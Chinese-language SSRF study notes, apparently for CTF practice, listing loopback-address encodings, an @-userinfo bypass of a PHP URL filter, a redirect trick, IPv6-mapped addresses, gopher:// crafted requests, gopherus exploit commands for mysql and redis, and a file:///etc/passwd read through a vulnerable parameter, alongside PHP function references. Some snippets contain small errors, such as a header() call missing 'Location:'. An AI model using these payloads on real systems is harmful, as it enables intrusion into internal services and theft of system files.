构造http请求时必须在每一句后面加上\r\n，结束时为\r\n\r\n，必须要空一行用于区分报文头和报文体

绕过

ip绕过：

```
全以127.0.0.1为例
长整型： 2130706433
十六进制： 全十六进制：0x7f000001 点分：0x7f.0x00.0x00.0x01
八进制： 点分：0177.0000.0000.0001
混合： 十六+十：0x7f.0.0.1
省略零简写：A.B形式：127.1   A.B.C形式：10.0.513对应10.0.2.1 因为513溢出
http://0：有时可以来代替http://127.0.0.1

sudo.cc：解析到本地的域名，无数字绕过，http://sudo.cc
```

location绕过：

```
在服务器弄一个locationlocal.php文件
内容类似：
<?php
header("http://127.0.0.1/flag.php");
?>
题目传参：http://101.37.210.236/locationlocal.php
```

@截断：

```
例：
<?php
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}
?>
url=http://ctf.@127.0.0.1/flag.php?show
RFC 3986标准中，一个标准url结构为scheme://[user:password@]host[:port]/path
解析器会认为ctf为用户名，127.0.0.1才是目标地址
```

IPv6混合地址绕过

```
/127.0.0.1的IPv6写法
http://[0:0:0:0:0:ffff:127.0.0.1]
http://[::ffff:127.0.0.1]
http://[::ffff:7f00:1]
```

函数

parse_url：把url字符串拆解成组成部分

```
例子：
<?php
$url="https://www.example.com:8080/path/to/page.php?id=123&s=search#top";
$parts=parse_url($url);
print_r($parts);
?>
结果:
Array{
[scheme] => https
[host] => www.example.com
[port] => 8080
[path] => /path/to/page.php
[query] => id=123&s=search
[fragment] => top
}
```

gethostbyname：通过域名获取对应IP，DNS解析

```
可以解除所有表示法，返回十进制点分格式
```

filter_var：过滤器，用于验证和清理(如去除HTML标签，转义特殊符号)

```
语法：filter)_ var($变量,$过滤器常量,$标志或选项)

验证常量：
FILTER_VALIDATE_IP：验证IPv4/IPv6
FILTER_VALIDATE_BOOLEAN：验证布尔值(支持"yes","true","on",1)
清理常量：
FILTER_SANITIZE_NUMBER_INT：只保留数组和正负号
FILTER_SANITIZE_SPECIAL_CHARS：转义HTML特殊字符(防XSS)
标志常量：
FILTER_FLAG_IPV4：只允许ipv4
FILTER_FLAG_IPV6：只允许ipv6
FILTER_FLAG_NO_PRIV_RANGE：禁止私有网段
FILTER_FLAG_NO_RES_RANGE：禁止保留网段
```

url_getinfo：发起网络请求后，获取这个请求的统计信息

```
例：
<?php
$ch = curl_init("https://www.google.com");
curl_exec($ch);
$info=curl_getinfo($ch);
echo 'HTTP状态码'.$info['http_code'];
echo '传输耗时'.$info['total_time'];
echo '最终访问的url'.$info['url'];
curl_close($ch);
?>
```

常用协议

gopher：用于发送构造的请求包，要进行url编码，ssrf攻击时要进行两次url编码

```
gopher://<host>:<port>/<gopher-path>_后面接TCP数据流

例子：
curl
gopher://192.168.0.12:18080/_POST%20/test/test.php%20HTTP/1.1%0d%0AHost:%20192.16
8.0.12:18080%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-
Length:%2011%0d%0A%0d%0Aname=gopher

工具：gopherus，可以辅助我们生成请求，用法如：
    gopherus --exploit mysql        //mysql数据库
    gopherus --exploit redis        //redis数据库
```

file：用于访问本地文件系统的URI协议，它允许通过URI来直接引用文件系统中的文件。 file协议可以查看本地的文件，如果存在ssrf漏洞的主机挂载了一些内网的资源，就可以借助ssrf漏洞访问内网的资源

```
格式：file:///path/to/file
curl http://192.168.173.88/?url=file:///etc/passwd
```

dict:// 字典服务器协议，访问字典资源，如，dict:///ip:6739/info：
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议

常见漏洞函数

file_get_contents()：读取文件内容

```
// 从本地文件中读取内容
$file_contents = file_get_contents("./demo.txt");
// 从远程文件中读取内容
$url_contents = file_get_contents('http://example.com/');
```

fsockopen()：用于连接服务器与其通信

```
格式：resource fsockopen(string $hostname, int $port = -1, int &$errno = null,
string &$errstr = null, float $timeout = null)
$hostname ：要连接的主机名或 IP 地址。
$port ：可选参数，默认为 -1 。要连接的端口号。如果未指定端口，则使用默认端口。
$errno ：可选参数，默认为 null 。如果连接失败，则返回错误代码。
$errstr ：可选参数，默认为 null 。如果连接失败，则返回错误消息。
$timeout ：可选参数，默认为 null 。连接超时时间，以秒为单位。如果在指定的时间内无法建立连接，
则函数返回 false 。

<?php
    $socket = fsockopen('www.baidu.com', 80, $errno, $errstr, 30);
    // 与www.baidu.com:80建立连接
    if ($socket) {
    // 连接成功
    $request = "GET / HTTP/1.1\r\n";
    $request .= "Host: www.baidu.com\r\n";
    $request .= "Connection: Close\r\n\r\n";
    // $request此时构造了一个http的请求头，想要请求www.baidu路径内容
    fwrite($socket, $request);
    // 将构造好的http请求头发送给$socket建立的连接
    while (!feof($socket)) {
      // 当$socket拿到的回复没有取完
        $response .= fgets($socket, 1024);
```

```
        // 每次读取1024字节，拼接到$response变量上
    }
    fclose($socket);
    echo $response;
    } else {
    // 连接失败
    echo "Error $errno: $errstr";
    }
?>
```

curl_exec()：用于执行 cURL 会话，发送 HTTP 请求并获取响应

语法：

```
mixed curl_exec(resource $curl)
```

`$curl` ：cURL 句柄，使用 `curl_init()` 创建。

```
<?php
// 初始化 cURL 会话
$curl = curl_init();
// 设置 cURL 选项
curl_setopt($curl, CURLOPT_URL, 'http://www.baidu.com/');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
// 执行 cURL 会话
$response = curl_exec($curl);
// 关闭 cURL 句柄
curl_close($curl);
// 输出响应
echo $response;
?>
```

在这个例子中，`curl_exec()`函数使用cURL句柄`$curl`执行HTTP GET请求，并返回服务器的响应。使用`curl_setopt()`函数设置cURL选项，例如请求的URL和返回数据的格式。最后，使用`curl_close()`函数关闭cURL句柄，并将响应输出到屏幕上